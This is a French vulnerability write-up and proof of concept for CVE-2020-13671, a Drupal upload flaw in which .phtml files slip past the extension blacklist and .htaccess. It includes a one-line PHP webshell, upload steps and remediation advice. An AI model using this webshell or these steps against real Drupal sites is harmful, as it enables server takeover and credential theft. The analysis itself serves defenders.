
CVE-2020-13671 - Analyse de vulnérabilité et PoC de la RCE Drupal via téléversement de fichiers
Logiciel : Drupal Core 8.7.5 (Affecté : 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS : 8.8 (Élevé)
CWE : CWE-434 — Téléversement sans restriction de fichiers de type dangereux
CISA KEV : Oui — Vulnérabilité connue exploitée
Avis : SA-CORE-2020-012
Drupal est un système de gestion de contenu (CMS) open source écrit en PHP, similaire à WordPress ou Joomla, mais plutôt orienté vers la construction de systèmes plus complexes — sites d'entreprise, plateformes multilingues. Drupal repose sur une architecture modulaire, permettant d'étendre les fonctionnalités en activant/désactivant les modules disponibles ou en installant des modules supplémentaires issus de la communauté.
L'une des fonctions de base de tout CMS est de permettre aux utilisateurs de téléverser des fichiers — avatars de profil, documents joints, pièces jointes dans les articles. Drupal enregistre ces fichiers dans le répertoire sites/default/files/ et les sert directement via le serveur web (Apache ou Nginx).
⇒ Cela crée une surface d'attaque évidente : si un attaquant parvient à téléverser un fichier PHP dans ce répertoire, le serveur web l'exécutera lorsqu'il sera accédé via une requête entrante.
Pour empêcher cela, Drupal met en place plusieurs couches de défense : validation des extensions de fichiers, renommage des fichiers dangereux, placement d'un pour bloquer l'exécution de scripts dans le répertoire de téléversement. Mais dans la version 8.7.5, les attaquants exploitent exactement l'angle mort de ces couches.
.htaccessCette vulnérabilité nécessite un compte disposant des permissions de téléversement de fichiers. Par défaut dans Drupal 8.7.5, les utilisateurs réguliers (Authentifiés) n'ont que les permissions de voir le contenu et de poster des commentaires — aucune permission pour créer des articles ou téléverser des fichiers.
| Compte | Exploitable ? | Explication |
|---|---|---|
| Admin | Oui | Permissions de téléversement complètes |
| Éditeur / Créateur de contenu | Oui | Si la permission « Créer du contenu » est accordée avec téléversement par l'administrateur |
| Utilisateur authentifié (par défaut) | Non | Par défaut, aucune permission pour créer du contenu ou téléverser |
| Anonyme (non connecté) | Non | Aucune permission de téléversement |
Cependant, dans la pratique, de nombreux sites Drupal accordent les permissions de création de contenu aux utilisateurs réguliers (forums, blogs communautaires, sites d'actualité permettant la soumission d'articles). Dans ces cas, un attaquant n'a besoin que de créer un compte pour l'exploiter.
Déroulement de l'attaque :
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
Dans le fichier core/modules/file/file.module, il existe une seule expression régulière qui détermine quels fichiers sont considérés comme exécutables :
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Cette expression régulière liste 7 extensions : phar, php, pl, py, cgi, asp, js. Tout fichier dont l'extension correspond à cette liste sera automatiquement complété avec .txt par Drupal — neutralisant ainsi la capacité d'exécution.
Cependant, le moteur PHP ne traite pas uniquement les fichiers .php. Selon la configuration du serveur web, il reconnaît et exécute également d'autres extensions :
| Extension | Signification | Incluse dans la regex ? |
|---|---|---|
.php | PHP standard | Oui |
.phtml | Modèle alternatif PHP | Non |
.php5 | Gestionnaire PHP 5 | Non |
.pht | Modèle PHP | Non |
.phps | Source PHP | Non |
.shtml | Inclusions côté serveur | Non |
5 variantes d'extensions PHP sont totalement absentes de l'expression régulière. Cela signifie qu'un fichier nommé shell.phtml envoyé à Drupal → l'expression régulière ne correspond pas → pas de renommage → enregistré sous son nom d'origine dans le répertoire de téléversement → le serveur web voit .phtml → l'exécute comme PHP → l'attaquant obtient une RCE. C'est la cause racine : Drupal a utilisé une liste noire pour bloquer les extensions dangereuses, mais cette liste était incomplète.
Lorsqu'un utilisateur téléverse un fichier, Drupal le fait passer à travers 3 fonctions de validation avant de l'enregistrer. Voici une analyse de la raison pour laquelle ces 3 fonctions échouent avec .phtml.
file_munge_filename() (core/includes/file.inc)Objectif : détecter les extensions dangereuses situées au milieu du nom de fichier et ajouter _ pour les neutraliser. Voici comment la fonction fonctionne :

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Par exemple avec shell.phtml :
explode divise en ["shell", "phtml"]shift prend "shell", laissant ["phtml"]pop prend "phtml", laissant []foreach ne s'exécute pas"shell.phtml" intactCependant, si le fichier n'a qu'une seule extension, cette fonction n'intervient pas. Ainsi, elle n'est conçue que pour gérer les fichiers à extensions multiples.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)C'est la principale couche de défense. Code à la ligne 1015 :

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Si le nom de fichier correspond à l'expression régulière → changer le MIME en text/plain et ajouter .txt à la fin.
Avec shell.phtml :
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') renvoie 0.phtml est dangereux, elle passe à travers..htaccess dans le répertoire de téléversementDrupal place un fichier .htaccess dans sites/default/files/ :
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
La directive php_flag engine off désactive le moteur PHP pour tout le répertoire, mais elle ne s'applique qu'à mod_php5. Drupal 8.7.5 fonctionne sur PHP 7, ce qui signifie que mod_php7 est actif et n'est pas désactivé.
Et .htaccess présente également 3 autres faiblesses :
.htaccess — ce fichier est totalement inefficace sur NginxAllowOverride None → .htaccess est ignorémod_php → la directive php_flag n'a aucun effetecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Connectez-vous à Drupal avec un compte disposant des permissions de téléversement → Contenu → Ajouter du contenu → Article → dans le champ Image, sélectionnez le fichier webshell.phtml → Téléverser.
Drupal accepte le fichier, ne le renomme pas et l'enregistre sous son nom d'origine dans sites/default/files/.

Ensuite, exécutez l'appel shell avec whoami :

Ainsi, nous avons réussi à obtenir une RCE en tant que www-data.
Test supplémentaire pour afficher les identifiants :

L'attaquant peut lire settings.php contenant les identifiants de la base de données, extraire l'intégralité de la base, installer un reverse shell ou élever ses privilèges jusqu'à root.
Mettre à jour l'expression régulière — ajouter les 5 extensions manquantes :
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Mettre à jour .htaccess — ajouter la désactivation pour mod_php7 :
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
Le correctif fonctionne mais repose toujours sur une liste noire. Si de nouvelles extensions apparaissent à l'avenir (.php8, .phpt), l'expression régulière devra être mise à jour à nouveau. La liste blanche — n'autorisant que les extensions connues comme sûres — serait une approche plus complète.
| Fichier vulnérable | core/modules/file/file.module ligne 28 |
|---|---|
| Cause racine | La liste noire de l'expression régulière ne contient pas .phtml, .php5, .pht, .phps, .shtml |
| Impact | Téléverser .phtml → le serveur exécute → RCE |
| 3 couches de défense contournées | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Correctif | Ajouter 5 extensions à l'expression régulière + désactiver mod_php7 dans .htaccess |